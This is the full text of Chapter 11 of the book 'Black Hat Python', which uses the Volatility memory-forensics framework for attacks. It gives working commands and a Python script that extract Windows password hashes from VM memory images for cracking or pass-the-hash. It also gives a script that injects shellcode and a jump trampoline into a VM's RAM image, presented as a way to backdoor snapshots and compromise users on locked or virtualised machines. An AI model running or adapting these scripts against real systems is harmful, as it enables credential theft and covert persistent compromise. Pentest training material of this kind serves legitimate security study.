Automating Offensive Forensics - Black Hat Python: Python Programming for Hackers and Pentesters (2014)

Black Hat Python: Python Programming for Hackers and Pentesters (2014)

Chapter 11. Automating Offensive Forensics

Forensics folks are often called in after a breach, or to determine if an “incident” has taken place at all. They typically want a snapshot of the affected machine’s RAM in order to capture cryptographic keys or other information that resides only in memory. Lucky for them, a team of talented developers has created an entire Python framework suitable for this task called Volatility, billed as an advanced memory forensics framework. Incident responders, forensic examiners, and malware analysts can use Volatility for a variety of other tasks as well, including inspecting kernel objects, examining and dumping processes, and so on. We, of course, are more interested in the offensive capabilities that Volatility provides.

We first explore using some of the command-line capabilities to retrieve password hashes from a running VMWare virtual machine, and then show how we can automate this two-step process by including Volatility in our scripts. The final example shows how we can inject shellcode directly into a running VM at a precise location that we choose. This technique can be useful to nail those paranoid users who browse or send emails only from a VM. We can also leave a backdoor hidden in a VM snapshot that will be executed when the administrator restores the VM. This code injection method is also useful for running code on a computer that has a FireWire port that you can access but which is locked or asleep and requires a password. Let’s get started!

Installation

Volatility is extremely easy to install; you just need to download it from https://code.google.com/p/volatility/downloads/list. I typically don’t do a full installation. Instead, I keep it in a local directory and add the directory to my working path, as you’ll see in the following sections. A Windows installer is also included. Choose the installation method of your choice; it should work fine whatever you do.

Profiles

Volatility uses the concept of profiles to determine how to apply necessary signatures and offsets to pluck information out of memory dumps. But if you can retrieve a memory image from a target via FireWire or remotely, you might not necessarily know the exact version of the operating system you’re attacking. Thankfully, Volatility includes a plugin called imageinfo that attempts to determine which profile you should use against the target. You can run the plugin like so:

$ python vol.py imageinfo -f "memorydump.img"

After you run it, you should get a good chunk of information back. The most important line is the Suggested Profiles line, which should look something like this:

Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86

When you’re performing the next few exercises on a target, you should set the command-line flag --profile to the appropriate value shown, starting with the first one listed. In the above scenario, we’d use:

$ python vol.py plugin --profile="WinXPSP2x86" arguments

You’ll know if you set the wrong profile because none of the plugins will function properly, or Volatility will throw errors indicating that it couldn’t find a suitable address mapping.

Grabbing Password Hashes

Recovering the password hashes on a Windows machine after penetration is a common goal among attackers. These hashes can be cracked offline in an attempt to recover the target’s password, or they can be used in a pass-the-hash attack to gain access to other network resources. Looking through the VMs or snapshots on a target is a perfect place to attempt to recover these hashes.

Whether the target is a paranoid user who performs high-risk operations only on a VM or an enterprise attempting to contain some of its user’s activities to VMs, the VMs present an excellent point to gather information after you’ve gained access to the host hardware.

Volatility makes this recovery process extremely easy. First, we’ll take a look at how to operate the necessary plugins to retrieve the offsets in memory where the password hashes can be retrieved, and then retrieve the hashes themselves. Then we’ll create a script to combine this into a single step.

Windows stores local passwords in the SAM registry hive in a hashed format, and alongside this the Windows boot key stored in the system registry hive. We need both of these hives in order to extract the hashes from a memory image. To start, let’s run the hivelist plugin to make Volatility extract the offsets in memory where these two hives live. Then we’ll pass this information off to the hashdump plugin to do the actual hash extraction. Drop into your terminal and execute the following command:

$ python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem"

After a minute or two, you should be presented with some output displaying where those registry hives live in memory. I clipped out a portion of the output for brevity’s sake.

Virtual Physical Name

---------- ---------- ----

0xe1666b60 0x0ff01b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software

0xe1673b60 0x0fedbb60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM

0xe1455758 0x070f7758 [no name]

0xe1035b60 0x06cd3b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system

In the output, you can see the virtual and physical memory offsets of both the SAM and system keys in bold. Keep in mind that the virtual offset deals with where in memory, in relation to the operating system, those hives exist. The physical offset is the location in the actual .vmem file on disk where those hives exist. Now that we have the SAM and system hives, we can pass the virtual offsets to the hashdump plugin. Go back to your terminal and enter the following command, noting that your virtual addresses will be different than the ones I show.

$ python vol.py hashdump -d -d -f "WindowsXPSP2.vmem"

--profile=WinXPSP2x86 -y 0xe1035b60 -s 0xe17adb60

Running the above command should give you results much like the ones below:

Administrator:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3

77041b27:::

Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j

272fa653:::

SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec

fdfa81aee:::

Perfect! We can now send the hashes off to our favorite cracking tools or execute a pass-the-hash to authenticate to other services.

Now let’s take this two-step process and streamline it into our own standalone script. Crack open grabhashes.py and enter the following code:

import sys

import struct

import volatility.conf as conf

import volatility.registry as registry

➊ memory_file = "WindowsXPSP2.vmem"

➋ sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

registry.PluginImporter()

config = conf.ConfObject()

import volatility.commands as commands

import volatility.addrspace as addrspace

config.parse_options()

config.PROFILE = "WinXPSP2x86"

config.LOCATION = "file://%s" % memory_file

registry.register_global_options(config, commands.Command)

registry.register_global_options(config, addrspace.BaseAddressSpace)

First we set a variable to point to the memory image ➊ that we’re going to analyze. Next we include our Volatility download path ➋ so that our code can successfully import the Volatility libraries. The rest of the supporting code is just to set up our instance of Volatility with profile and configuration options set as well.

Now let’s plumb in our actual hash-dumping code. Add the following lines to grabhashes.py.

from volatility.plugins.registry.registryapi import RegistryApi

from volatility.plugins.registry.lsadump import HashDump

➊ registry = RegistryApi(config)

➋ registry.populate_offsets()

sam_offset = None

sys_offset = None

for offset in registry.all_offsets:

➌ if registry.all_offsets[offset].endswith("\\SAM"):

sam_offset = offset

print "[*] SAM: 0x%08x" % offset

➍ if registry.all_offsets[offset].endswith("\\system"):

sys_offset = offset

print "[*] System: 0x%08x" % offset

if sam_offset is not None and sys_offset is not None:

➎ config.sys_offset = sys_offset

config.sam_offset = sam_offset

➏ hashdump = HashDump(config)

➐ for hash in hashdump.calculate():

print hash

break

if sam_offset is None or sys_offset is None:

print "[*] Failed to find the system or SAM offsets."

We first instantiate a new instance of RegistryApi ➊ that’s a helper class with commonly used registry functions; it takes only the current configuration as a parameter. The populate_offsets ➋ call then performs the equivalent to running the hivelist command that we previously covered. Next, we start walking through each of the discovered hives looking for the SAM ➌ and system ➍ hives. When they’re discovered, we update the current configuration object with their respective offsets ➎. Then we create a HashDump object ➏ and pass in the current configuration object. The final step ➐ is to iterate over the results from the calculate function call, which produces the actual usernames and their associated hashes.

Now run this script as a standalone Python file:

$ python grabhashes.py

You should see the same output as when you ran the two plugins independently. One tip I suggest is that as you look to chain functionality together (or borrow existing functionality), grep through the Volatility source code to see how they’re doing things under the hood. Volatility isn’t a Python library like Scapy, but by examining how the developers use their code, you’ll see how to properly use any classes or functions that they expose.

Now let’s move on to some simple reverse engineering, as well as targeted code injection to infect a virtual machine.

Direct Code Injection

Virtualization technology is being used more and more frequently as time goes on, whether because of paranoid users, cross-platform requirements for office software, or the concentration of services onto beefier hardware systems. In each of these cases, if you’ve compromised a host system and you see VMs in use, it can be handy to climb inside them. If you also see VM snapshot files lying around, they can be a perfect place to implant shell-code as a method for persistence. If a user reverts to a snapshot that you’ve infected, your shellcode will execute and you’ll have a fresh shell.

Part of performing code injection into the guest is that we need to find an ideal spot to inject the code. If you have the time, a perfect place is to find the main service loop in a SYSTEM process because you’re guaranteed a high level of privilege on the VM and that your shellcode will be called. The downside is that if you pick the wrong spot, or your shellcode isn’t written properly, you could corrupt the process and get caught by the end user or kill the VM itself.

We’re going to do some simple reverse engineering of the Windows calculator application as a starting target. The first step is to load up calc.exe in Immunity Debugger[26] and write a simple code coverage script that helps us find the = button function. The idea is that we can rapidly perform the reverse engineering, test our code injection method, and easily reproduce the results. Using this as a foundation, you could progress to finding trickier targets and injecting more advanced shellcode. Then, of course, find a computer that supports FireWire and try it out there!

Let’s get started with a simple Immunity Debugger PyCommand. Open a new file on your Windows XP VM and name it codecoverage.py. Make sure to save the file in the main Immunity Debugger installation directory under the PyCommands folder.

from immlib import *

class cc_hook(LogBpHook):

def __init__(self):

LogBpHook.__init__(self)

self.imm = Debugger()

def run(self,regs):

self.imm.log("%08x" % regs['EIP'],regs['EIP'])

self.imm.deleteBreakpoint(regs['EIP'])

return

def main(args):

imm = Debugger()

calc = imm.getModule("calc.exe")

imm.analyseCode(calc.getCodebase())

functions = imm.getAllFunctions(calc.getCodebase())

hooker = cc_hook()

for function in functions:

hooker.add("%08x" % function, function)

return "Tracking %d functions." % len(functions)

This is a simple script that finds every function in calc.exe and for each one sets a one-shot breakpoint. This means that for every function that gets executed, Immunity Debugger outputs the address of the function and then removes the breakpoint so that we don’t continually log the same function addresses. Load calc.exe in Immunity Debugger, but don’t run it yet. Then in the command bar at the bottom of Immunity Debugger’s screen, enter:

! codecoverage

Now you can run the process by pressing the F9 key. If you switch to the Log View (ALT-L), you’ll see functions scroll by. Now click as many buttons as you want, except the = button. The idea is that you want to execute everything but the one function you’re looking for. After you’ve clicked around enough, right-click in the Log View and select Clear Window. This removes all of your previously hit functions. You can verify this by clicking a button you previously clicked; you shouldn’t see anything appear in the log window. Now let’s click that pesky = button. You should see only a single entry in the log screen (you might have to enter an expression like 3+3 and then hit the = button). On my Windows XP SP2 VM, this address is 0x01005D51.

All right! Our whirlwind tour of Immunity Debugger and some basic code coverage techniques is over and we have the address where we want to inject code. Let’s start writing our Volatility code to do this nasty business.

This is a multistage process. We first need to scan memory looking for the calc.exe process and then hunt through its memory space for a place to inject the shellcode, as well as to find the physical offset in the RAM image that contains the function we previously found. We then have to insert a small jump over the function address for the = button that jumps to our shellcode and executes it. The shellcode we use for this example is from a demonstration I did at a fantastic Canadian security conference called Countermeasure. This shellcode is using hardcoded offsets, so your mileage may vary.[27]

Open a new file, name it code_inject.py, and hammer out the following code.

import sys

import struct

equals_button = 0x01005D51

memory_file = "WinXPSP2.vmem"

slack_space = None

trampoline_offset = None

# read in our shellcode

➊ sc_fd = open("cmeasure.bin","rb")

sc = sc_fd.read()

sc_fd.close()

sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

import volatility.conf as conf

import volatility.registry as registry

registry.PluginImporter()

config = conf.ConfObject()

import volatility.commands as commands

import volatility.addrspace as addrspace

registry.register_global_options(config, commands.Command)

registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()

config.PROFILE = "WinXPSP2x86"

config.LOCATION = "file://%s" % memory_file

This setup code is identical to the previous code you wrote, with the exception that we’re reading in the shellcode ➊ that we will inject into the VM.

Now let’s put the rest of the code in place to actually perform the injection.

import volatility.plugins.taskmods as taskmods

➊ p = taskmods.PSList(config)

➋ for process in p.calculate():

if str(process.ImageFileName) == "calc.exe":

print "[*] Found calc.exe with PID %d" % process.UniqueProcessId

print "[*] Hunting for physical offsets...please wait."

➌ address_space = process.get_process_address_space()

➍ pages = address_space.get_available_pages()

We first instantiate a new PSList class ➊ and pass in our current configuration. The PSList module is responsible for walking through all of the running processes detected in the memory image. We iterate over each process ➋ and if we discover a calc.exe process, we obtain its full address space ➌ and all of the process’s memory pages ➍.

Now we’re going to walk through the memory pages to find a chunk of memory the same size as our shellcode that’s filled with zeros. As well, we’re looking for the virtual address of our = button handler so that we can write our trampoline. Enter the following code, being mindful of the indentation.

for page in pages:

➊ physical = address_space.vtop(page[0])

if physical is not None:

if slack_space is None:

➋ fd = open(memory_file,"r+")

fd.seek(physical)

buf = fd.read(page[1])

try:

➌ offset = buf.index("\x00" * len(sc))

slack_space = page[0] + offset

print "[*] Found good shellcode location!"

print "[*] Virtual address: 0x%08x" % slack_space

print "[*] Physical address: 0x%08x" % (physical.

+ offset)

print "[*] Injecting shellcode."

➍ fd.seek(physical + offset)

fd.write(sc)

fd.flush()

# create our trampoline

➎ tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)

tramp += "\xff\xe3"

if trampoline_offset is not None:

break

except:

pass

fd.close()

# check for our target code location

➏ if page[0] <= equals_button and .

equals_button < ((page[0] + page[1])-7):

print "[*] Found our trampoline target at: 0x%08x" .

% (physical)

# calculate virtual offset

➐ v_offset = equals_button - page[0]

# now calculate physical offset

trampoline_offset = physical + v_offset

print "[*] Found our trampoline target at: 0x%08x" .

% (trampoline_offset)

if slack_space is not None:

break

print "[*] Writing trampoline..."

➑ fd = open(memory_file, "r+")

fd.seek(trampoline_offset)

fd.write(tramp)

fd.close()

print "[*] Done injecting code."

All right! Let’s walk through what all of this code does. When we iterate over each page, the code returns a two-member list where page[0] is the address of the page and page[1] is the size of the page in bytes. As we walk through each page of memory, we first find the physical offset (remember the offset in the RAM image on disk)➊ of where the page lies. We then open the RAM image ➋, seek to the offset of where the page is, and then read in the entire page of memory. We then attempt to find a chunk of NULL bytes ➌ the same size as our shellcode; this is where we write the shellcode into the RAM image ➍. After we’ve found a suitable spot and injected the shellcode, we take the address of our shellcode and create a small chunk of x86 opcodes ➎. These opcodes yield the following assembly:

mov ebx, ADDRESS_OF_SHELLCODE

jmp ebx

Keep in mind that you could use Volatility’s disassembly features to ensure that you disassemble the exact number of bytes that you require for your jump, and restore those bytes in your shellcode. I’ll leave this as a homework assignment.

The final step of our code is to test whether our = button function resides in the current page that we’re iterating over ➏. If we find it, we calculate the offset ➐ and then write out our trampoline ➑. We now have our trampoline in place that should transfer execution to the shellcode we placed in the RAM image.

Kicking the Tires

The first step is to close Immunity Debugger if it’s still running and close any instances of calc.exe. Now fire up calc.exe and run your code injection script. You should see output like this:

$ python code_inject.py

[*] Found calc.exe with PID 1936

[*] Hunting for physical offsets...please wait.

[*] Found good shellcode location!

[*] Virtual address: 0x00010817

[*] Physical address: 0x33155817

[*] Injecting shellcode.

[*] Found our trampoline target at: 0x3abccd51

[*] Writing trampoline...

[*] Done injecting code.

Beautiful! It should show that it found all of the offsets, and injected the shellcode. To test it, simply drop into your VM and do a quick 3+3 and hit the = button. You should see a message pop up!

Now you can try to reverse engineer other applications or services aside from calc.exe to try this technique against. You can also extend this technique to try manipulating kernel objects which can mimic rootkit behavior. These techniques can be a fun way to become familiar with memory forensics, and they’re also useful for situations where you have physical access to machines or have popped a server hosting numerous VMs.

[26] Download Immunity Debugger here: http://debugger.immunityinc.com/.

[27] If you want to write your own MessageBox shellcode, see this tutorial: https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/.